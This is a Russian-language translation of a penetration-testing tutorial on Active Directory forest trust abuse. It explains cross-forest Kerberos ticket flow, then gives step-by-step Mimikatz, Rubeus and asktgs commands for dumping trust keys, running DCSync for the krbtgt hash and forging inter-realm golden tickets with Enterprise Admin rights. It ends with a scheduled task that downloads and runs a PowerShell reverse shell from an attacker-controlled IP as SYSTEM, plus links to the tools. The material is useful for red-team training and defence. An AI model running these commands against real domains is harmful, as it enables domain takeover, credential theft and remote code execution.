Active Directory - Forest Trust Abuse
На протяжении всей статьи я буду использовать Invoke-Mimikatz при злоупотреблении доверием к лесу в Windows/Active Directory Домен. Если потребуются какие-либо другие инструменты, они будут упомянуты в конец.
Работа лесного трастового потока
Давайте разобьем каждый шаг из приведенной выше диаграммы и поймем как трастовые потоки через лесА, в основном сосредотачиваются на внешних трастах. Лес представляет собой набор из одного или нескольких деревьев доменов внутри Active Directory. Доверительные отношения леса между двумя контроллерами домена позволяют пользователям получить доступ к ресурсам в доменах друг друга. Это может быть возможно только в том случае, если отношения, установленные между ними, являются двунаправленными. Например, starlight.US-access.local имеет внешнее двунаправленное доверие к лесу, называемому EU-access.local. Следовательно, пользователь из домена starlight может получить доступ к ресурсам EU-access.local.
Мы можем сопоставить доверие леса с помощью следующей команды, используя PowerView.
Код с оформлением (BB-коды):
# Map all the trusts of the current forest
Get-NetForestDomain | Get-NetDomainTrust
# Extract info from the external forest ( Bi-directional )
Get-NetForestDomain -Forest <external-forest> -Verbose | Get-NetDomainTrust -NET
Теперь время понять что такое лесной траст и уметь его идентифицировать, начнем с рабочего процесса трастового потока по лесам.
Клиент запрашивает TGT у DC
- Привилегированный пользователь хочет получить доступ к определенной службе с сервера приложений другого леса.
- Пользователь отправляет отметку времени на контроллер домена, которая шифруется и подписывается хэшем NTLM пароля пользователя.
- Для контроллера домена требуется проверить, сделан ли запрос от пользователя, за которого он себя выдает.
2. DC отправляет TGT клиенту
- DC получает и расшифровывает зашифрованную метку времени.
- DC гарантирует, что запрос исходит от пользователя, за которого он себя выдает, и отвечает TGT который может предоставить другой тикет.
- Отправленный TGT шифруется и подписывается NTML-хэшем KRBTG, который является конкретной учетной записью DC, используемой только для этой цели. Этот означает, что TGT может быть прочитан и открыт только KRBTG.
3. и 4. Клиент получает межрегиональный TGT
- Клиент получает TGT, отправляет его обратно в контроллер домена и запрашивает службу предоставления тикетов (TGS) другого леса .
- Потом DC обнаруживает, что работа TGS заключается в доступе к услугам из другого внешнего леса с двунаправленным доверием, он повторно отправляет межрегиональный TGT клиенту.
5. и 6. Клиент получает TGS из внешнего леса
- Клиент получает TGT, отправляет его обратно на контроллер домена внешнего леса и запрашивает службу предоставления тикетов (TGS).
- DC получает TGS, расшифровывает его и выполняет следующую проверку.
- Единственная проверка, которую он делает, это то, может ли он расшифровать TGT или нет. Если возможно, предполагается, что весь контент внутри межобластного TGT действительный.
7. и 8. Клиент отправляет сервисный тикет
- Клиент подключается к серверу приложений и представляет TGS, полученный от внешнего контроллера домена для запрашиваемой услуги.
- Он расшифровывает TGS, а затем решает, может ли пользователь получить доступ к сервису или нет.
Использование ключа доверия хэшем rc4
Методология
1. Дамп ключей доверия межлесных трастов2. Запишите SID текущего домена, SID целевого домена и rc4_hmac_nt (ключ доверия) целевого домена.
3. Мы можем создать TGT между лесами с правильной целью и rc4 параметры. Не забудьте добавить -519 после sids параметра для подделки привилегий в качестве администратора предприятия.
4. Теперь запросите TGS с помощью asktgs.exe.
5. Теперь введите TGS в память.
6. Теперь мы можем получить доступ ко всем общим файлам администратора DC
Invoke-Mimikatz
1. Требуем ключ межлесного доверия
Код с оформлением (BB-коды):
Invoke-Mimikatz -Command '"lsadump::trust /patch"'
2. Подделываем межлесной TGT
Код с оформлением (BB-коды):
Invoke-Mimikatz -Command '"kerberos::golden
/user:Administrator /domain:<current-domain>
/sid:<current-domain-SID> /sids:<target-domain-SID>-519
/rc4:<target-domain-rc4-hash> /service:krbtgt
/target:<target-domain> /ticket:C:\kekeo_old\trust_tkt.kirbi"'
3. Теперь создаем TGS для услуги (CIFS) в родительском домене.
Код с оформлением (BB-коды):
.\asktgs.exe C:\kekeo_old\trust_tkt.kirbi CIFS/<target-domain-user-dc>
4. Предоставить TGS целевой службе
Код с оформлением (BB-коды):
.\kirbikator.exe lsa .\<file.kirbi>
5. Теперь получим доступ к целевой службе (CIFS).
Код с оформлением (BB-коды):
ls \\<target-domain-user-dc>\C$
Использование доверенных ключей с помощью Rubeus
Invoke-Mimikatz
1. Создайте тикет и добавьте его в память с помощью asktgs
Код с оформлением (BB-коды):
.\Rubeus.exe /asktgs /ticket:C:\kekeo_old\trust_tkt.kirbi /service:cifs/<target-domain-user-dc> /dc:<target-domain-user-dc> /ptt
2. Перечислите аутентификации
Код с оформлением (BB-коды):
klist
3. Теперь попробуйте получить доступ к целевой службе (CIFS).
Код с оформлением (BB-коды):
ls \\<target-domain-user-dc>\C$
Использование доверия с помощью хэша krbtgt
Методология
1. Выполните атаку DCSync, чтобы сбросить хэш KRBTGT.2. Создайте дамп ключей доверия межлесных трастов.
3. Запишите SID текущего домена, SID целевого домена.
4. Мы можем создать TGT между лесами, используя golden ticket. Не забудьте добавить -519 после sids параметр для подделки привилегий в качестве администратора предприятия.
5. Теперь введите TGS в память.
6. Мы можем создать расписание и выполнить задачу, чтобы получить оболочку от имени администратора предприятия.
1. Выполните атаку DCSync для получения хэша krbtg. Выполните приведенную ниже команду с привилегиями DC
Код с оформлением (BB-коды):
Invoke-Mimikatz -Command '"lsadump::dcsyn /domain:<target-domain-SID> /all /cvs"'
2. Создайте межсерверный TGT с помощью golden ticket.
Код с оформлением (BB-коды):
Invoke-Mimikatz -Command '"kerberos::golden
/user:Administrator /domain:<current-domain>
/sid:<current-domain-SID> /sids:<target-domain-SID>-519
/krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\krbtgt_tkt.kirbi"'
3. Теперь введитеticket используя Mimikatz
Код с оформлением (BB-коды):
Invoke-Mimikatz -Command '"kerberos::ptt C:\krbtgt_tkt.kirbi"'
# Now we can also execute wmi commands
gwmi -Class win32_computersystem -ComputerName <target-domain-user-dc>
4. Создайте расписание для получения оболочки как NT AUTHORITY\SYSTEM.
Код с оформлением (BB-коды):
schtasks /create /S <target-domain-user-dc> /SC Weekly /RU "NT AUTHORITY\SYSTEM" /TN "pwned" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://10.10.x.x/Invoke-PowerShellTcp.ps1''')'"
schtasks /Run /S <target-domain-user-dc> /TN "pwned"
Используемые инструменты
- Invoke-Mimikatz.ps1 скачать отсюда: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exdication/Invoke-Mimikatz.ps1
- asktgs_compiled скачать отсюда: https://github.com/NotScortator/asktgs_compiled
- Скачать Rubeus.exe отсюда: https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Rubeus.exe
Перевод статьи: https://0xstarlight.github.io/posts/Active-Directory-Forest-Trust-Abuse/